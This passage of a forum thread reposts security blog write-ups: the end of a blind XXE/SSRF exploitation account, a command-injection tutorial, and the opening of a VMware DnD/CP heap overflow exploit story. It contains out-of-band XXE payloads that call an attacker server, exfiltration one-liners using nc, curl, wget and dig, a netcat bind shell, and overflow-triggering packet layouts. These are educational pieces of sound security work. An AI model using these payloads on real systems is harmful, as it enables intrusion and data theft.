request forgery(SSRF). SSRF is basically a type of attack whereby an attacker can send a specially crafted request to an app in order to trigger a server side action. This can be leveraged to carry out port scanning and in some cases remote code execution(RCE). Port Scanning So with some quick messing around I compiled a payload to use for a server side request forgery type attack, the XML essentially probes a host on a port specified in order to determine if ports are open on the local machine in this case 127.0.0.1 has been used. <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data> Aha! Light bulb moment, the application responded with another error. However this time it was meaningful to an extent disclosing that the connection was refused... javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Connection refused So what does this mean for the findings so far? Well the application is clearly responding to XML input, how about a port scan of the local machine? Woohoo time to use burp intruder: Setting the point of attack to the port & URI handler, and adding making the payload sets: 1) a list of URIs(HTTP, HTTPS & FTP) 2) the numbers 0-65535 as that encapsulates a full port scan in this instance. Running this attack takes a short while as it's sending ~200,000 requests based upon the amount of ports * the amount of URI handlers. A short while later after sorting the responses by length it returns that port 8080 appears to be open on HTTP & HTTPS. Sure enough when both of these responses are viewed the content is different and indicates that these ports may in fact be open: HTTP javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: ████████████████████████: Unrecognized DTD directive '<!DOCTYPE >'; expected ATTLIST, ELEMENT, ENTITY or NOTATION (or, for DTD++, TARGETNS) at [row,col,system-id]: [1,9,"http://127.0.0.1:8080/"] from [row,col {unknown-source}]: [1,1]] HTTPS javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: Unrecognised SSL message, plaintext connection?] From the HTTP response we can see that instead of returning Connection Refused instead another error is returned which points to this port as being open. Likewise when looking at the HTTPS response, the contents indicate that the port is open on a plain text protocol and not talking SSL. Using this logic the next step would be naturally to scan the internal network too, however at this stage I didn't know what the IP address was so shelved the port scanning and moved onto identification of external access. External Service Interaction In addition to port scanning it was also determined that it was possible to make requests to external sites, to emulate this I leveraged ncat on a remote server. NCAT is that little bit better than netcat as it gives more info printed out upon successful connections, it shares the same flags as netcat too which is very useful. I set this up as a listener on a remote server using the command: ncat -lvkp 8090 -l this specifies ncat to be in listening mode v turns on verbose mode k makes sure the connection is kept live after a successful connection p specifies the specific port to listen on If you're interested in more about ncat check out the manual pages for it here. With the listener all setup the next step was to test that connections could be made from the application server. This was achieved by issuing the following request(note: if you don't own a VPS or server, burp collaborator can be used too): POST /broken/api/confirm HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://ATTACKERIP:8090/" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data> Taking note that the port can be anything, I've selected 8090 for this demonstration. Anyway, upon sending this request the following information was received on the remote server: Ncat: Version 7.40 ( https://nmap.org/ncat ) Ncat: Listening on :::8090 Ncat: Listening on 0.0.0.0:8090 Ncat: Connection from ██████████████████. GET / HTTP/1.1 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_60 Host: ATTACKERHOST:8090 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Key information outlined above includes the IP address of the server which upon further inspection was from an Amazon Web Services (AWS) instance, additionally the user agent for the request was found to be Java/1.8.0_60indicating that the back-end server is processing Java. Another attack type that was identified using an out of band (OOB) type attack targeting the server to identify if files exist or not. Out of Band(OOB) Attacks File Identification Alongside external interaction, it was also identified that it was possible to determine if files exist on the back end server based upon responses. In order to do this I leveraged the FTP URI handler in an OOB attack. The following request was sent to the application to demonstrate and test this. POST /broken/api/confirm HTTP/1.1 Host: example.com Content-Type: application/xml;charset=UTF-8 Content-Length: 132 <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://ATTACKERSERVER:8090/xxe_file.dtd"> %asd; %c; ]> <a>&rrr;</a> This basically sends a request to a remote server looking for an external document type definition (DTD) file which contains the payload, the contents of the file used for this scenario were: <!ENTITY % d SYSTEM "file:///var/www/web.xml"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://ATTACKERSERVER:2121/%d;'>"> The payload sends a second request to the attacker’s server looking for a DTD file which contains a request for another file on the target server. If the file didn't exist the server responded with a No such file or directoryresponse. Similar to that shown below: javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████: (was java.io.FileNotFoundException) /var/www/index.html (No such file or directory) at [row,col,system-id]: [2,63,"http://ATTACKERSERVER:8090/xxe_file.dtd"] from [row,col {unknown-source}]: [4,6]] However, if it does exist the response is different. The error A descriptor with default root element foo was not found in the projectwas returned as due to me not knowing the root element names. javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document Internal Exception: ████████████████████████ Exception Description: A descriptor with default root element foo was not found in the project] If this information surrounding the root element names was known the attack would become more visible and slightly more damaging as it would potentially result in retrieval of local files and dare I say it potential for RCE!!! As can be seen clearly the response differs per file requested allowing an attacker to build up a profile of the underlying server behind the application. Uncovering Internal IP Addresses Using the same out of bands technique described in above, I was able to gather information surrounding the internal IP address of the application host. This was gained via the FTP handler which exploits Java to extract information contained within connection strings. To do this I used xxe-ftp-server which allowed me to listen on a custom port and intercept requests. I set this up server side listening on port 2121 as that is the default used by this script. I then issued the following request to the app which basically makes a FTP request from the application server to an attacker host specified: POST /broken/api/confirm HTTP/1.1 Host: example.com Content-Type: application/xml;charset=UTF-8 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % one SYSTEM "ftp://ATTACKERHOST:2121/"> %one; %two; %four; %five; ]> Before sending the request the FTP server needs to be run server side. The output below shows what happens when the above request is issued to the server. ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_60@ > 230 more data please! < TYPE A > 230 more data please! < EPSV ALL > 230 more data please! < EPSV > 230 more data please! < EPRT |1|10.10.13.37|38505| > 230 more data please! < LIST < PORT 10,10,13,37,150,105 ! PORT received > 200 PORT command ok < LIST So breaking down the output above, the target application sends a request to the FTP server which receives a login request. The login request contains the version of Java & the internal IP of the server plus the source port. This indicated two things to me, 1) the internal range was likely 10.10.x.x & 2) there doesn't appear to be any internal -> external egress filtering which would be really useful should a shell be gained. As discussed earlier on, port scanning was possible against the host however I only scanned the localhost as I didn't know the IP range. Based on the OOB techniques used the internal range was identified and another port scan was run with burp intruder. This revealed that not only did the localhost have port 8080 open but it appeared to be listening on all interfaces meaning that further enumeration could be carried out. This meant that in this case some additional apps were identified via server side request forgery which is always fun. Remediation Advice The main problem is that the XML parser parses the untrusted data sent by the user. However, it may not be easy or possible to validate only data present within the system identifier in the DTD. Most XML parsers are vulnerable to XML external entity attacks (XXE) by default. Therefore, the best solution would be to configure the XML processor to use a local static DTD and disallow any declared DTD included in the XML document. Further Reading If you enjoyed this post and want to read more about XXE, here are a few links to check out which contain more info about XXE. SMTP over XXE XXE OOB Attacks Generic XXE Detection XXE on JSON Endpoints New Age of XXE(2015) XXE Advanced Exploitation XXE Payloads Andy Gill Read more posts by this author. Sursa: https://blog.zsec.uk/blind-xxe-learning/
  15. How To: Command Injections July 7th , 2017 A command injection is a class of vulnerabilities where the attacker can control one or multiple commands that are being executed on a system. This post will go over the impact, how to test for it, defeating mitigations, and caveats. Before diving into command injections, let’s get something out of the way: a command injection is not the same as a remote code execution (RCE). The difference is that with an RCE, actual programming code is executed, whereas with a command injection, it’s an (OS) command being executed. In terms of possible impact, this is a minor difference, but the key difference is in how you find and exploit them. Setting up Let’s start by writing two simple Ruby scripts that you can run locally to learn finding and exploiting command injection vulnerabilities. I used Ruby 2.3.3p222. Below is ping.rb. puts `ping -c 4 ${ARGV[0]}` This script will ping the server that’s being passed to the script as argument. It will then return the command output on the screen. Example output below. $ ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms As you can see, it executed ping -c 4 8.8.8.8 and displayed the output on the screen. Here’s another script that will be used in the blog post: server-online.rb. puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no' This script will determine whether the server is online based on an ICMP response (ping). If it responds to the ping request, it’ll display yes on the screen. In case it doesn’t, it’ll display no. The output of the command isn’t returned to the user. Example output below. $ ruby server-on.rb '8.8.8.8' yes $ ruby server-on.rb '8.8.8.7' no Testing One of the best ways to detect a first-order command injection vulnerability is trying to execute a sleep command and determine if the execution time increases. To start with this, let’s establish a time baseline for the ping.rb script: $ time ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.09s user 0.04s system 4% cpu 3.176 total Notice that executing script takes about 3 seconds. Now let’s determine if the script is vulnerable to a command injection by injecting a sleep command. $ time ruby ping.rb '8.8.8.8 && sleep 5' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.10s user 0.04s system 1% cpu 8.182 total The script will now execute the command ping -c 4 8.8.8.8 && sleep 5. Notice the execution time again: it jumped from ~3 seconds to ~8 seconds, which is an increase of exactly 5 seconds. There can still be unexpected delays on the internet, so it’s important to repeat the injection and play with the amount of seconds to make sure it’s not a false positive. Let’s determine whether the server-online.rb script is vulnerable, too. $ time ruby server-online.rb '8.8.8.8' yes 0.10s user 0.04s system 4% cpu 3.174 total $ time ruby server-online.rb '8.8.8.8 && sleep 5' yes 0.10s user 0.04s system 1% cpu 8.203 total Again, the baseline shows executing a normal request takes about 3 seconds. Adding && sleep 5 to the command increases the time to 8 seconds. Depending on the command being executed, the sleep command may be injected differently. Here are a few payloads that you can try when looking for command injections (they all work): time ruby ping.rb '8.8.8.8`sleep 5`' When a command line gets parsed, everything between backticks is executed first. Executing echo `ls` will first execute ls and capture its output. It’ll then pass the output to echo, which displays the output of ls on the screen. This is called command substitution. Since execution of the command between backticks takes precedence, it doesn’t matter if the command executed afterwards fails. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8`sleep 5` sleep command executed, command substitution works in command line. ping -c 4 "8.8.8.8`sleep 5`" sleep command executed, command substitution works in complex strings (between double quotes). ping -c 4 $(echo 8.8.8.8`sleep 5`) sleep command executed, command substitution works in command substitution when using a different notation (see example below). ping -c 4 '8.8.8.8`sleep 5`' sleep command not executed, command substitution does not work in simple strings (between single quotes). ping -c 4 `echo 8.8.8.8`sleep 5`` sleep command not executed, command substitution does not work when using the same notation. time ruby ping.rb '8.8.8.8$(sleep 5)' This is a different notation for command substitution. This may be useful when backticks are filtered or encoded. When using command substitution to look for command injections, make sure to test both notations to avoid true-negatives in case the payload is already being substituted (see last example in table above). time ruby ping.rb '8.8.8.8; sleep 5' Commands are executed in a sequence (left to right) and they can be separated with semicolons. When a command in the sequence fails it won’t stop executing the other commands. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8;sleep 5 sleep command executed, sequencing commands works when used on the command line. ping -c 4 "8.8.8.8;sleep 5" sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 $(echo 8.8.8.8;sleep 5) sleep command executed, sequencing commands works in command substitution. ping -c 4 '8.8.8.8;sleep 5' sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 `echo 8.8.8.8;sleep 5` sleep command executed, sequencing commands works in command substitution. time ruby ping.rb '8.8.8.8 | sleep 5' Command output can be piped, in sequence, to another commands. When executing cat /etc/passwd | grep root, it’ll capture the output of the cat /etc/passwd command and pass it to grep root, which will then show the lines that match root. When the first command fail, it’ll still execute the second command. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8 | sleep 5 sleep command executed, piping output works when used on the command line. ping -c 4 "8.8.8.8 | sleep 5" sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 $(echo 8.8.8.8 | sleep 5) sleep command executed, piping output works in command substitution. ping -c 4 '8.8.8.8 | sleep 5' sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 `echo 8.8.8.8 | sleep 5` sleep command executed, piping output works in command substitution. Exploiting To exploit the vulnerability for evidence is to determine whether it’s a generic or blind command injection. The difference between the two, is that a blind command injection doesn’t return the output of the command in the response. A generic command injection would return the output of the executes command(s) in the response. The sleep command is often a good proof of concept for either flavor. However, if you need more proof, execute id, hostname, or whoami and use the output as additional proof. The server’s hostname is useful to determine how many servers are affected and help the vendor to get a sense of impact faster. Important: needless to say, most companies don’t appreciate you snooping around on their systems. Before exploiting the vulnerability to pivot into something else, ask permission to the company. In nearly all situations proving that executing arbitrary but harmless commands like sleep, id, hostname or whoami is enough to proof impact to the affected company. Exploiting generic command injection This is usually pretty straightforward: the output of any injected command will be returned to the user: $ ruby ping.rb '8.8.8.8 && whoami' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms jobert The red part shows the output of the ping command. The green text the output of the whoami command. From this point, you can gather evidence for your proof of concept. Again, stick to harmless commands. Exploiting blind command injection With blind command injections the output isn’t returned to the user, so we should find other ways to extract the output. The most straightforward technique is to offload the output to your server. To simulate this, run nc -l -n -vv -p 80 -k on your server and allow inbound connections on port 80 in your firewall. Once you’ve set up the listener, use nc, curl, wget, telnet, or any other tool that sends data to the internet, to send the output to your server: $ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80' yes Then observe a connection being made to your server that shows the output of the hostname command: $ nc -l -n -vv -p 80 -k Listening on [0.0.0.0] (family 0, port 81) Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225) hacker.local In the example above, nc is used to send the output of the command to your server. However, nc might be deleted or unable to execute. To avoid going down a rabbit hole, there are a few simple payloads to determine if a command exists. In case any of the commands increase the time with 5 seconds, you know the command exists. curl -h && sleep 5 wget -h && sleep 5 ssh -V && sleep 5 telnet && sleep 5 When you’ve determined a command exists, you can use any of those commands to send the output of a command to your server, like this: whoami | curl http://your-server -d @- wget http://your-server/$(whoami) export C=whoami | ssh user@your-server (setup the user account on your-server to authenticate without a password and log every command being executed) Even though the server-online.rb script doesn’t output the result of the hostname command, the output can be sent to a remote server and obtained by an attacker. In some cases, outbound TCP and UDP connections are blocked. It’s still possible to extract the output in that case, we just have to do a little bit more work. In order to extract the output, we have to guess the output based on something that we can change. In this case, the execution time can be increased using the sleep command. This can be used to extract the output. The trick here is to pass the result of a command to the sleep command. Here’s an example: sleep $(hostname | cut -c 1 | tr a 5). Let’s analyze this for a moment. It’s executing the hostname command. Let’s assume it returns hacker.local. It’ll take that output and pass it to cut -c 1. This will take the first character of hacker.local, which is the character h. It passes it to tr a 5, which will replace the character a with a 5 in the output of the cut command (h). The output of the tr command is then passed to the sleep command, resulting in sleep h being executed. This will immediately error, since sleep can only take a number as first argument. The goal is then to iterate over the characters with the tr command. Once you execute sleep $(hostname | cut -c 1 | tr h 5), the command will take 5 seconds longer to execute. This is how you determine that the first character is an h. Once you guessed a character, increase the number you pass to the cut -c command, and repeat. Here’s a table with the commands to determine the output: Command Time Result ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)' 3s - ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)' 8s h ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)' 8s a ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)' 3s - ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)' 8s c To determine how many characters you need to guess: pipe the output of hostname to wc -c and pass that to the sleep command. hacker.local is 12 characters. The hostname command returns the hostname and a new line, so wc -c will return 13. We established that normally, the script takes 3 seconds to complete. $ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)' yes 0.10s user 0.04s system 0% cpu 16.188 total The payload above shows that the script now takes 16 seconds to complete, which means the output of hostname is 12 characters: 16 - 3 (baseline) - 1 (new line) = 12 characters. When executing this payload on a web server, know that the output may change: the length of the hostname could change when requests are handled by different servers. The technique above works fine for smaller outputs, but can take a long time for reading a file. Some of the following methods can be pretty intrusive, so always make sure the company gave you a thumbs up to use more invasive extraction methods. In case outbound connections are blocked and the output is too long to read, here are a few other tricks to try (useful during CTFs): Run a port scan on the server and based on the exposed services, determine a way to extract the output. FTP: try writing the file to a directory you can download files from. SSH: try writing the output of the command to the MOTD banner, then simply SSH to the server. Web: try writing the output of the command to a file in a public directory (/var/www/). Spawn a shell on a port that can be reached from the outside (only available in custom netcat build): nc -l -n -vv -p 80 -e /bin/bash (unix) or nc -l -n -vv -p 80 -e cmd.exe (windows). Do a DNS query with dig or nslookup to send the output to port 53 (UDP): dig `hostname` @your-server or nslookup `hostname` your-server. Output can be captured with nc -l -n -vv -p 53 -u -k on your server. This may work because outbound DNS traffic is often allowed. Check out this tweet how to offload file contents with dig. Change the ICMP packet size when pinging your server to offload data. tcpdump can be used to capture the data. Check out this tweet how to do this. There’s plenty of other ways, but it often depends on what kind of options the servers gives you. The technique shown above are most common when exploiting command injection vulnerabilities. The key is to use what you have to extract the output! Defeating mitigations Sometimes mitigations have been put in place, which may cause the above techniques not to work. One of the mitigations that I’ve seen over the years, is a restriction on whitespace in the payload. Luckily, there’s something called Brace Expansion that can be used to create payloads without whitespace. Below is ping-2.rb, which is the second version of ping.rb. Before passing the user input to the command, it removes whitespace from the input. puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}` When passing 8.8.8.8 && sleep 5 as argument, it’d execute ping -c 4 8.8.8.8&&sleep5, which will result in an error showing that the command sleep5 isn’t found. There’s an easy workaround by using brace expansion: $ time ruby ping-2.rb '8.8.8.8;{sleep,5}' ... 0.10s user 0.04s system 1% cpu 8.182 total Here’s a payload that sends the output of a command to an external server without using whitespace: $ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... Or to read /etc/passwd: $ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. ... Whenever a command is being executed with user input mitigations have to be put in place by the developer. Developers take different routes to implement mitigations, so it’s up to you to discover what they did and how to work around them. Happy hacking! Jobert Sursa: https://www.hackerone.com/blog/how-to-command-injections
  16. The Weak Bug - Exploiting a Heap Overflow in VMware acez 06 Jul 2017 Share this post Introduction In march 2017, I took part in the pwn2own contest with team Chaitin Security Research Lab. The target I was focused on was VMware Workstation Pro and we managed to get a working exploit before the contest. Unfortunately, a version of VMware was released on March 14th, the day before the contest, with a patch for the vulnerability our exploit was taking advantage of. This blog post is a narrative of our journey from finding the vulnerability to exploiting it. I would like thank @kelwin whose assistance was indispensable during the development of the exploit. I would also like to thank the ZDI folks for their recent blog post which motivated us to get off our asses and make this writeup :P. The post is divided into three parts. First we will briefly describe the VMware RPCI gateway, next we will describe the vulnerability and finally we'll have a look at how we were able to use this single exploit to defeat ASLR and get code execution. The VMware RPCI Unsurprisingly, VMware exposes a number of ways for the guest and host to communicate with each other. One of these ways is through an interface called the Backdoor. The guest is able to send commands through this interface in user mode because of an interesting design. This same interface is used (partly) by VMware Tools in order to communicate with the host. Let's have a look at some sample code (taken from lib/backdoor/backdoorGcc64.c in open-vm-tools): void Backdoor_InOut(Backdoor_proto *myBp) // IN/OUT { uint64 dummy; __asm__ __volatile__( #ifdef __APPLE__ /* * Save %rbx on the stack because the Mac OS GCC doesn't want us to * clobber it - it erroneously thinks %rbx is the PIC register. * (Radar bug 7304232) */ "pushq %%rbx" "\n\t" #endif "pushq %%rax" "\n\t" "movq 40(%%rax), %%rdi" "\n\t" "movq 32(%%rax), %%rsi" "\n\t" "movq 24(%%rax), %%rdx" "\n\t" "movq 16(%%rax), %%rcx" "\n\t" "movq 8(%%rax), %%rbx" "\n\t" "movq (%%rax), %%rax" "\n\t" "inl %%dx, %%eax" "\n\t" /* NB: There is no inq instruction */ "xchgq %%rax, (%%rsp)" "\n\t" "movq %%rdi, 40(%%rax)" "\n\t" "movq %%rsi, 32(%%rax)" "\n\t" "movq %%rdx, 24(%%rax)" "\n\t" "movq %%rcx, 16(%%rax)" "\n\t" "movq %%rbx, 8(%%rax)" "\n\t" "popq (%%rax)" "\n\t" #ifdef __APPLE__ "popq %%rbx" "\n\t" #endif : "=a" (dummy) : "0" (myBp) /* * vmware can modify the whole VM state without the compiler knowing * it. So far it does not modify EFLAGS. --hpreg */ : #ifndef __APPLE__ /* %rbx is unchanged at the end of the function on Mac OS. */ "rbx", #endif "rcx", "rdx", "rsi", "rdi", "memory" ); } Looking at this code, one thing that seems odd is the inl instruction. Under normal circumstances (default I/O privilege level on Linux for instance), a user mode program should not be able to issue I/O instructions. Therefore this instruction should simply just cause the user mode program to fault and crash. This instruction actually generates a privilege error and on the host the hypervisor catches this fault. This ability to communicate with the host from a user land in the guest makes the Backdoor an interesting attack surface since it satisfies the pwn2own requirement: "An attempt in this category must be launched from within the guest operating system from a non-admin account and execute arbitrary code on the host operating system." .The guest puts the value 0x564D5868 in $eax and the I/O port numbers 0x5658 or 0x5659 are stored in $dx for low bandwidth and high bandwidth data transfers respectively. Other registers are used for passing parameters. For instance the lower half of $ecx is used to store the backdoor command number. In the case of RPCI, the command number is set to BDOOR_CMD_MESSAGE = 30. The file lib/include/backdoor_def.h contains a list of some supported backdoor commands. The host catches the fault, reads the command number and dispatches the corresponding handler. There are a lot of other details I am omitting here so if you are interested in this interface you should read the source code. RPCI The Remote Procedure Call Interface is built on top of the aforementioned backdoor and basically allows a guest to issue requests to the host to perform certain operations. For instance, operations like Drag n Drop / Copy Paste as well as number of other random things such as sending or retrieving info on the guest use this interface. The format of RPCI requests is pretty simple: <cmd> <params>. For example the RPCI request "info-get guestinfo.ip" can be used in order to request the IP address assigned to the guest. For each RPCI command, an endpoint is registered and handled in vmware-vmx. Please note that some RPCI commands can also use the VMCI sockets but that is beyond the scope of this article. The Vulnerability After some time reversing the different RPCI handlers, I decided to focus on the DnD and Copy&Paste endpoints. They seemed to be the most complex command handlers and therefore I was hoping it would be the best place to hunt for vulnerabilities. Although I got a chance to understand a lot of the inner workings of DnD/CP, it became apparent however that a lot of the functionality in these handlers is not reachable without user interaction. The core functionality of DnD/CP basically maintains some state machine which has some unsatisfiable states when there is no user interaction (e.g mouse drag from host to guest). At a loss, I decided to have a look at the vulnerabilities that were reported during Pwnfest 2016 and mentioned in this VMware advisory, my idb had a lot of "symbols" at this point so it was easy to use bindiff to find the patches. The code below shows one of the vulnerable functions before it was patched (which turns out has source code available in services/plugins/dndcp/dnddndCPMsgV4.c; the vulnerability is still in master branch of the git repo of open-vm-tools btw): static Bool DnDCPMsgV4IsPacketValid(const uint8 *packet, size_t packetSize) { DnDCPMsgHdrV4 *msgHdr = NULL; ASSERT(packet); if (packetSize < DND_CP_MSG_HEADERSIZE_V4) { return FALSE; } msgHdr = (DnDCPMsgHdrV4 *)packet; /* Payload size is not valid. */ if (msgHdr->payloadSize > DND_CP_PACKET_MAX_PAYLOAD_SIZE_V4) { return FALSE; } /* Binary size is not valid. */ if (msgHdr->binarySize > DND_CP_MSG_MAX_BINARY_SIZE_V4) { return FALSE; } /* Payload size is more than binary size. */ if (msgHdr->payloadOffset + msgHdr->payloadSize > msgHdr->binarySize) { // [1] return FALSE; } return TRUE; } Bool DnDCPMsgV4_UnserializeMultiple(DnDCPMsgV4 *msg, const uint8 *packet, size_t packetSize) { DnDCPMsgHdrV4 *msgHdr = NULL; ASSERT(msg); ASSERT(packet); if (!DnDCPMsgV4IsPacketValid(packet, packetSize)) { return FALSE; } msgHdr = (DnDCPMsgHdrV4 *)packet; /* * For each session, there is at most 1 big message. If the received * sessionId is different with buffered one, the received packet is for * another another new message. Destroy old buffered message. */ if (msg->binary && msg->hdr.sessionId != msgHdr->sessionId) { DnDCPMsgV4_Destroy(msg); } /* Offset should be 0 for new message. */ if (NULL == msg->binary && msgHdr->payloadOffset != 0) { return FALSE; } /* For existing buffered message, the payload offset should match. */ if (msg->binary && msg->hdr.sessionId == msgHdr->sessionId && msg->hdr.payloadOffset != msgHdr->payloadOffset) { return FALSE; } if (NULL == msg->binary) { memcpy(msg, msgHdr, DND_CP_MSG_HEADERSIZE_V4); msg->binary = Util_SafeMalloc(msg->hdr.binarySize); } /* msg->hdr.payloadOffset is used as received binary size. */ memcpy(msg->binary + msg->hdr.payloadOffset, packet + DND_CP_MSG_HEADERSIZE_V4, msgHdr->payloadSize); // [2] msg->hdr.payloadOffset += msgHdr->payloadSize; return TRUE; } This function is called in Version 4 of DnD/CP from the host's side when the guest sends fragment DnD/CP command packets. The host invokes this function in order to reassemble the chunks of the DnD/CP message sent by the guest. The first packet received should have payloadOffset == 0 and binarySize specifying the size of a buffer dynamically allocated on the heap. At [1], there is a check to make sure that the payloadOffset and payloadSize do not go out of bounds by comparing it to the binarySize of the packet header. At [2] , the data is copied to the allocated buffer. However, the check at [1] is flawed because it only works for the first received packet. For subsequent packets, the check is invalid since the code expects the binarySize field of the packet header to match that of the first packet in the fragment stream. You might also have noticed that at [1] there is an integer overflow, but this is actually not exploitable since payloadOffset needs to be set to either 0 or should be equal to expected payloadOffset of the buffered message. Therefore, the vulnerability can be triggered for example by sending the following sequence of fragments: packet 1{ ... binarySize = 0x100 payloadOffset = 0 payloadSize = 0x50 sessionId = 0x41414141 ... #...0x50 bytes...# } packet 2{ ... binarySize = 0x1000 payloadOffset = 0x50 payloadSize = 0x100 sessionId = 0x41414141 ... #...0x100 bytes...# } Armed with this knowledge, I decided to have a look at Version 3 of DnD/CP to see if anything had been missed in there. Lo and behold, the exact same vulnerability was present in Version 3 of the code: (this vulnerability was discovered by reversing, but we later noticed that the code for v3 was also present in the git repo of open-vm-tools.) Bool DnD_TransportBufAppendPacket(DnDTransportBuffer *buf, // IN/OUT DnDTransportPacketHeader *packet, // IN size_t packetSize) // IN { ASSERT(buf); ASSERT(packetSize == (packet->payloadSize + DND_TRANSPORT_PACKET_HEADER_SIZE) && packetSize <= DND_MAX_TRANSPORT_PACKET_SIZE && (packet->payloadSize + packet->offset) <= packet->totalSize && packet->totalSize <= DNDMSG_MAX_ARGSZ); if (packetSize != (packet->payloadSize + DND_TRANSPORT_PACKET_HEADER_SIZE) || packetSize > DND_MAX_TRANSPORT_PACKET_SIZE || (packet->payloadSize + packet->offset) > packet->totalSize || //[1] packet->totalSize > DNDMSG_MAX_ARGSZ) { goto error; } /* * If seqNum does not match, it means either this is the first packet, or there * is a timeout in another side. Reset the buffer in all cases. */ if (buf->seqNum != packet->seqNum) { DnD_TransportBufReset(buf); } if (!buf->buffer) { ASSERT(!packet->offset); if (packet->offset) { goto error; } buf->buffer = Util_SafeMalloc(packet->totalSize); buf->totalSize = packet->totalSize; buf->seqNum = packet->seqNum; buf->offset = 0; } if (buf->offset != packet->offset) { goto error; } memcpy(buf->buffer + buf->offset, packet->payload, packet->payloadSize); buf->offset += packet->payloadSize; return TRUE; error: DnD_TransportBufReset(buf); return FALSE; } This function is called for fragment reassembly of DnD/CP protocol version 3. Here we can see the same situation as before at [1]; trusting that totalSize from the subsequent fragments would match totalSize of the first fragment. Thus this vulnerability can be triggered in a similar fashion to the previous one: packet 1{ ... totalSize = 0x100 payloadOffset = 0 payloadSize = 0x50 seqNum = 0x41414141 ... #...0x50 bytes...# } packet 2{ ... totalSize = 0x1000 payloadOffset = 0x50 payloadSize = 0x100 seqNum = 0x41414141 ... #...0x100 bytes...# } This brings us to the title of this blog post: "The Weak Bug". In the context of a contest like pwn2own, I think the bug is weak because not only was it inspired by a previously reported one, it was pretty much exactly the same one. Therefore it really was no surprise when it was patched before the contest (okay, maybe we didn't expect it to get patched one day before the contest :P). The corresponding VMware advisory can be found here. The latest version of 